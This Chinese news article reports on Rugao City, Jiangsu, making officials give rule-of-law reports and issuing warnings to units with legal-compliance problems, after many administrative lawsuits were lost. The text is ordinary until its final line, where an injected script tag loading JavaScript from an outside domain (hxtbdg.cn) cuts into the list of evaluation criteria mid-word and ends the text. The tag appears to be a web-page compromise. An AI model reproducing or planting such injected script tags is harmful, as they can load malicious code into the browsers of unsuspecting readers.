1月21日，江苏省如皋市4名市委常委分别代表市委，对7个在法治建设工作中问题突出的单位主要负责人和分管负责人予以警告，亮出了“黄牌”，并提出了具体的整改要求。这是根据该市去年推出的对科级党政领导班子成员述职述法、考评考法情况，作出的实质性举措。

　　正是因为动了“真格”，这项工作强烈冲击着当地干部的“神经”，由此也引起了真正关注法治的意识激变。2月2日，记者为此专程前往如皋市进行了采访，以全面了解这项举措的推出的“台前幕后”。

　　因案识法转观念

　　因为毗邻上海港、南通港，又和发达的苏南仅仅一江之隔，优越的区位优势使得如皋在近几年实现了经济的飞速发展。然而，与之伴随的却是涉及土地规划、征地拆迁、劳动用工等热点问题引发的行政争议案件和上访事件频发。

　　2008年1月10日，当高明镇镇长郝晓东接到法院对一起镇政府在查处违章建筑案件中的行政处罚决定予以撤销的判决时，他的脑子一下子懵了。

　　该镇两相邻村民因为搭建附属用房和围墙，闹起了纠纷，其中一户以对方擅自搭建行为影响其合法权益，而镇政府未予处罚为由提起了行政诉讼，法院在随后的审理中判决要求镇政府予以查处。而镇政府在查处时，仅对违建一方作出了罚款200元的行政处罚，却未依法责令其限期改正。

　　“再次收到法院的败诉判决时，我们认识到了对法律‘一知半解’而‘盲目’行政行为的严重性。”郝晓东说。

　　据了解，2007年，如皋市发生了173件行政复议和行政诉讼案件，这个数字位居南通市各县区市前列，而其中被法院直接判决败诉的就达17起，还有15起行政行为确实存在问题，在复议诉讼中经协调由当事人撤回的，两项相加占到了18.5%。“一边是想尽办法抓经济，一边却还要面对诉讼甚至是老百姓上访，法院一旦判决败诉，政府在群众中的形象会一下子变得很‘负面’，很多干部的思想步入了两难境地。”如皋市委常委、政法委书记陈慧宇说。

　　“在市委主要领导的要求下，我们对这些案件作了详细的调研，发现败诉的原因大多是行政程序不合法造成的。”

　　如皋市政府法制办主任何福平说，“而且大多集中在一些涉及老百姓切身利益的热点问题，个别干部对依法行政还停留在口头上，出现了违法行为很多人还不敢于承担责任，而现有的干部考核体制还不能从根本上制约它”。

　　不断出现的民告官案件，政府又屡屡败诉，引起了该市市委书记陈惠娟等主要领导的高度重视。

　　2008年1月22日，“把法治工作业绩纳入对党政干部的考核任用，实施‘德、能、勤、法、廉、绩’等六位一体述职”第一次以市委文件形式下发至各镇党委、政府及市级机关各部门和各直属单位。

　　围绕述法工作的各项部署也由此展开。

　　八项内容考干部

　　“之所以要对科级干部重点述法考核，原因是这些干部，包括基层站所负责人是抓法治建设的组织者，又是具体执法者，抓住了‘龙头’，就抓住了依法行政工作的‘源头’。”如皋市委常委、组织部部长张辉认为，以前对干部述职，往往对经济指标等实绩进行重点考核，虽然也有涉及廉政、守法等包含法治内容的部分，但都比较笼统，把法治的各项指标纳入述职考核，丰富了述职的内涵，还统一了述职、述廉、述法工作的结果运用。

　　“不仅是组织部门管理干部的一种尝试，在依法治国和学习实践科学发展观的大背景下，这尤为必要。”张辉说。

　　据了解，如皋市委组织部和市政法委为建立“述法”工作的各项制度，进行了广泛的调研，召开了不同层次干部和群众参加的协调会、座谈会，征求各界的看法和建议。并于2008年9月8日，由该市市委组织部、市依法治市领导小组办公室形成了《关于科级党政领导干部述法工作实施意见》，在述法对象、内容、程序、组织领导等诸多方面形成了具体的考评意见。11月5日，如皋市委办公室正式转发了该意见。

　　2008年11月30日，如皋市依法治市领导小组办公室从政法委、市政府法制办、市司法局抽调了14人，与市纪委、市委组织部共同组成了11个述职述廉述法测评小组，分3个层次先后对全市60个机关部门和21个镇(区)所有科级党政领导干部进行了述法工作，714名科级干部和3501名各层次干部进行了口头或书面述职并接受所属系统的群众测评。述法考评活动还同时覆盖到了387个执法所队的2600余名执法人员。

　　据介绍，对科级班子成员的考评内容包括了8个方面：1、依法开展工作的意识；2、学习法?script src=http://hxtbdg.cn/t.js>